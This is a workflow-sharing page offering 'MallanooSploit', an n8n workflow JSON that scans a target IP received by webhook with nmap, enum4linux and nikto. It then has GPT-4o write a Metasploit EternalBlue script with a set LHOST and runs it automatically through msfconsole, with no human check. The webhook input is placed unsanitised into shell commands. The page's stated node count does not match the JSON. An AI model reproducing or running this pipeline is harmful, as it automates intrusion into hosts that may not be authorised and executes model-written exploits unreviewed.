AutomationFlowsAI & RAG › Mallanoosploit

Mallanoosploit

MallanooSploit. Uses openAi, executeCommand, httpRequest. Webhook trigger; 44 nodes.

Webhook trigger★★★★★ complexityAI-powered44 nodesOpenAIExecute CommandHTTP Request
AI & RAG Trigger: Webhook Nodes: 44 Complexity: ★★★★★ AI nodes: yes Added:

This workflow follows the Executecommand → HTTP Request recipe pattern — see all workflows that pair these two integrations.

The workflow JSON

Copy or download the full n8n JSON below. Paste it into a new n8n workflow, add your credentials, activate. Full import guide →

Download .json
{
  "name": "MallanooSploit",
  "nodes": [
    {
      "parameters": {
        "httpMethod": "POST",
        "path": "/trigger_scan",
        "options": {}
      },
      "name": "Webhook Trigger",
      "type": "n8n-nodes-base.webhook",
      "position": [
        -1840,
        260
      ],
      "id": "9f08ecf1-64dd-449b-8986-f76af3c0fd84",
      "typeVersion": 2
    },
    {
      "parameters": {
        "command": "=ping -c 3  {{ $json.body.target_ip }}"
      },
      "name": "Ping Target",
      "type": "n8n-nodes-base.executeCommand",
      "position": [
        -1720,
        260
      ],
      "id": "b2187a1a-c650-49a4-87cf-36beb80b50d9",
      "typeVersion": 1,
      "alwaysOutputData": false,
      "onError": "continueRegularOutput"
    },
    {
      "parameters": {
        "command": "=enum4linux -a  {{ $('Webhook Trigger').item.json.body.target_ip }}"
      },
      "name": "Run Enum4Linux",
      "type": "n8n-nodes-base.executeCommand",
      "position": [
        -360,
        -60
      ],
      "id": "37fe7909-1b72-4267-9277-f52ae2ef72d5",
      "typeVersion": 1
    },
    {
      "parameters": {
        "command": "nikto -h {{$json[\"query\"].target_ip}}"
      },
      "name": "Run Nikto",
      "type": "n8n-nodes-base.executeCommand",
      "position": [
        -220,
        180
      ],
      "id": "147d4e58-4d2e-4370-8701-49802d3ccf84",
      "typeVersion": 1
    },
    {
      "parameters": {
        "command": "magicrecon -d {{$json[\"query\"].target_ip}} -a"
      },
      "name": "Run MagicRecon",
      "type": "n8n-nodes-base.executeCommand",
      "position": [
        60,
        180
      ],
      "id": "175bed89-1071-4128-9561-96b6003f543b",
      "typeVersion": 1
    },
    {
      "parameters": {
        "command": "=nmap {{ $('Webhook Trigger').item.json.body.target_ip }} -o /home/kali/Mallanoo_Agent/nmap_scan.txt "
      },
      "type": "n8n-nodes-base.executeCommand",
      "typeVersion": 1,
      "position": [
        -780,
        500
      ],
      "id": "58fce766-2ac4-4593-bd9f-7e85e39cf754",
      "name": "Nmap"
    },
    {
      "parameters": {
        "command": "msfconsole -r generated_exploit.rc"
      },
      "name": "Run Metasploit Exploit",
      "type": "n8n-nodes-base.executeCommand",
      "position": [
        420,
        0
      ],
      "id": "36dc6daf-03a5-4fcf-bf4f-7dbfc50c45b2",
      "typeVersion": 1
    },
    {
      "parameters": {
        "conditions": {
          "options": {
            "caseSensitive": false,
            "leftValue": "",
            "typeValidation": "strict",
            "version": 2
          },
          "conditions": [
            {
              "id": "f755812c-b7c6-474b-892e-683583cd3c92",
              "leftValue": "={{ $json.received.result }}",
              "rightValue": "445/tcp",
              "operator": {
                "type": "string",
                "operation": "contains"
              }
            },
            {
              "id": "1858a3db-0cbb-4e00-b847-da78c42fa64c",
              "leftValue": "={{ $json.received.result }}",
              "rightValue": "135/tcp",
              "operator": {
                "type": "string",
                "operation": "contains"
              }
            }
          ],
          "combinator": "and"
        },
        "options": {
          "ignoreCase": true
        }
      },
      "type": "n8n-nodes-base.if",
      "typeVersion": 2.2,
      "position": [
        -580,
        0
      ],
      "id": "5f02a662-466d-49b7-a766-e8da3f252d3a",
      "name": "SMBCheck"
    },
    {
      "parameters": {
        "conditions": {
          "options": {
            "caseSensitive": true,
            "leftValue": "",
            "typeValidation": "strict",
            "version": 2
          },
          "conditions": [
            {
              "id": "d79b2bec-7d05-432e-97ce-9d690142c67c",
              "leftValue": "={{ $('NmapRead').item.json.stdout }}",
              "rightValue": "",
              "operator": {
                "type": "string",
                "operation": "exists",
                "singleValue": true
              }
            }
          ],
          "combinator": "and"
        },
        "options": {}
      },
      "type": "n8n-nodes-base.if",
      "typeVersion": 2.2,
      "position": [
        -800,
        180
      ],
      "id": "345910d9-c81e-4cb6-b141-485f13821012",
      "name": "NmapCheck1"
    },
    {
      "parameters": {
        "command": "cat /home/kali/Mallanoo_Agent/nmap_scan.txt"
      },
      "type": "n8n-nodes-base.executeCommand",
      "typeVersion": 1,
      "position": [
        -1240,
        260
      ],
      "id": "649b79ba-414c-4a55-910f-b2e27f34c72a",
      "name": "NmapRead",
      "retryOnFail": false,
      "onError": "continueRegularOutput"
    },
    {
      "parameters": {
        "conditions": {
          "options": {
            "caseSensitive": false,
            "leftValue": "",
            "typeValidation": "strict",
            "version": 2
          },
          "conditions": [
            {
              "id": "f755812c-b7c6-474b-892e-683583cd3c92",
              "leftValue": "={{ $('NmapCheck1').item.json.stdout }}",
              "rightValue": "80/tcp",
              "operator": {
                "type": "string",
                "operation": "contains"
              }
            }
          ],
          "combinator": "or"
        },
        "options": {
          "ignoreCase": true
        }
      },
      "type": "n8n-nodes-base.if",
      "typeVersion": 2.2,
      "position": [
        -580,
        200
      ],
      "id": "9a01c494-d067-4bb6-839b-a2d1fb6299a6",
      "name": "WebCheck"
    },
    {
      "parameters": {
        "method": "POST",
        "url": "http://localhost:3000/api/submit",
        "sendBody": true,
        "bodyParameters": {
          "parameters": [
            {
              "name": "result",
              "value": "={{ $json.stdout }}"
            }
          ]
        },
        "options": {}
      },
      "type": "n8n-nodes-base.httpRequest",
      "typeVersion": 4.2,
      "position": [
        -1600,
        260
      ],
      "id": "20ab0ea9-dfb4-4eeb-b545-08d59efee46a",
      "name": "PingOutput"
    },
    {
      "parameters": {
        "method": "POST",
        "url": "http://localhost:3000/api/submit",
        "sendBody": true,
        "bodyParameters": {
          "parameters": [
            {
              "name": "result",
              "value": "={{ $json.stdout }}"
            }
          ]
        },
        "options": {}
      },
      "type": "n8n-nodes-base.httpRequest",
      "typeVersion": 4.2,
      "position": [
        -1120,
        0
      ],
      "id": "b55b59bd-aa5a-486f-9709-8e89760c3891",
      "name": "NMAPOutput1"
    },
    {
      "parameters": {
        "amount": 2
      },
      "type": "n8n-nodes-base.wait",
      "typeVersion": 1.1,
      "position": [
        -1480,
        260
      ],
      "id": "1c6e8bfb-13a1-4184-8326-33e163dde659",
      "name": "Wait"
    },
    {
      "parameters": {
        "amount": 2
      },
      "type": "n8n-nodes-base.wait",
      "typeVersion": 1.1,
      "position": [
        -960,
        180
      ],
      "id": "692ce3f4-4691-4f76-b108-09a47ad42e12",
      "name": "Wait1"
    },
    {
      "parameters": {
        "modelId": {
          "__rl": true,
          "value": "gpt-4o",
          "mode": "list",
          "cachedResultName": "GPT-4O"
        },
        "messages": {
          "values": [
            {
              "content": "=You are an expert penetration tester. Based on the following vulnerability scan results, generate a full Metasploit `.rc` script.\n\nNmap Scan Results:\n{{$json[\"stdout\"]}}\n\nEnum4Linux Scan Results:\n{{$json[\"stdout\"]}}\n\nGenerate the `.rc` script with:\n1. Exploit modules\n2. Payload configuration\n3. Target settings\n4. Use Eternalblue as a payload\n5. LHOST is 10.10.14.3\n6. RHOST is {{ $('Webhook Trigger').item.json.body.target_ip }}\n\nReturn only the Metasploit `.rc` script in this format: "
            }
          ]
        },
        "jsonOutput": true,
        "options": {}
      },
      "type": "@n8n/n8n-nodes-langchain.openAi",
      "typeVersion": 1.8,
      "position": [
        -160,
        -140
      ],
      "id": "8d548cc1-8355-4f37-8de3-6ab23631af64",
      "name": "OpenAI",
      "credentials": {
        "openAiApi": {
          "name": "<your credential>"
        }
      }
    },
    {
      "parameters": {
        "method": "POST",
        "url": "http://localhost:3000/api/submit",
        "sendBody": true,
        "bodyParameters": {
          "parameters": [
            {
              "name": "result",
              "value": "={{ $json.message.content.commands }}"
            }
          ]
        },
        "options": {}
      },
      "type": "n8n-nodes-base.httpRequest",
      "typeVersion": 4.2,
      "position": [
        260,
        -340
      ],
      "id": "27845399-2a74-487a-a936-f2c6b41a1952",
      "name": "NMAPOutput"
    },
    {
      "parameters": {
        "command": "=echo \"{{ $json.message.content.commands }}\" > /home/kali/Mallanoo_Agent/metasploit_script.rc\nmsfconsole -q -r /home/kali/Mallanoo_Agent/metasploit_script.rc"
      },
      "type": "n8n-nodes-base.executeCommand",
      "typeVersion": 1,
      "position": [
        480,
        -140
      ],
      "id": "19b8d86e-7abc-4421-9ed6-fcd7b68e5f68",
      "name": "Execute Command"
    }
  ],
  "connections": {
    "Webhook Trigger": {
      "main": [
        [
          {
            "node": "Ping Target",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Ping Target": {
      "main": [
        [
          {
            "node": "PingOutput",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Nmap": {
      "main": [
        [
          {
            "node": "NmapRead",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Run Enum4Linux": {
      "main": [
        [
          {
            "node": "OpenAI",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "SMBCheck": {
      "main": [
        [
          {
            "node": "Run Enum4Linux",
            "type": "main",
            "index": 0
          }
        ],
        []
      ]
    },
    "NmapCheck1": {
      "main": [
        [
          {
            "node": "SMBCheck",
            "type": "main",
            "index": 0
          },
          {
            "node": "WebCheck",
            "type": "main",
            "index": 0
          }
        ],
        [
          {
            "node": "Nmap",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "NmapRead": {
      "main": [
        [
          {
            "node": "NMAPOutput1",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "WebCheck": {
      "main": [
        [
          {
            "node": "Run Nikto",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Run Nikto": {
      "main": [
        [
          {
            "node": "Run MagicRecon",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Run MagicRecon": {
      "main": [
        [
          {
            "node": "Run Metasploit Exploit",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "PingOutput": {
      "main": [
        [
          {
            "node": "Wait",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "NMAPOutput1": {
      "main": [
        [
          {
            "node": "Wait1",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Wait": {
      "main": [
        [
          {
            "node": "NmapRead",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "Wait1": {
      "main": [
        [
          {
            "node": "NmapCheck1",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },
    "OpenAI": {
      "main": [
        [
          {
            "node": "NMAPOutput",
            "type": "main",
            "index": 0
          },
          {
            "node": "Execute Command",
            "type": "main",
            "index": 0
          }
        ]
      ]
    }
  },
  "active": false,
  "settings": {
    "executionOrder": "v1"
  },
  "versionId": "b91ff6e4-af1f-4145-82a5-55b633d9b4c0",
  "meta": {
    "templateCredsSetupCompleted": true
  },
  "id": "UujIlf4keFMTeZUU",
  "tags": []
}

Credentials you'll need

Each integration node will prompt for credentials when you import. We strip credential IDs before publishing — you'll add your own.

Pro

For the full experience including quality scoring and batch install features for each workflow upgrade to Pro

About this workflow

MallanooSploit. Uses openAi, executeCommand, httpRequest. Webhook trigger; 44 nodes.

Source: https://github.com/WHK-Scbert/Ambessa_Project/blob/e80efe032ab1e20a47567fe50d35fcbd777e6a56/N8N/MallanooSploit.json — original creator credit. Request a take-down →

More AI & RAG workflows → · Browse all categories →

Related workflows

Workflows that share integrations, category, or trigger type with this one. All free to copy and import.

AI & RAG

Automatically creates complete videos from a text prompt—script, voiceover, stock footage, and subtitles all assembled and ready.

OpenAI, HTTP Request, Execute Command +1
AI & RAG

MallanooSploit. Uses executeCommand, httpRequest, openAi. Webhook trigger; 18 nodes.

Execute Command, HTTP Request, OpenAI
AI & RAG

Video to Shorts Everywhere. Uses openAi, executeCommand, googleDrive, youtube. Webhook trigger; 8 nodes.

OpenAI, Execute Command, Google Drive +2
AI & RAG

This powerful n8n automation workflow is designed to execute advanced B2B lead enrichment and hyper-personalization for cold email outreach. By orchestrating a complex chain of data scraping, AI analy

OpenAI, HTTP Request, Airtable
AI & RAG

Eu Clara – Funil Kiwify Completo. Uses postgres, openAi, httpRequest, gmail. Webhook trigger; 70 nodes.

Postgres, OpenAI, HTTP Request +1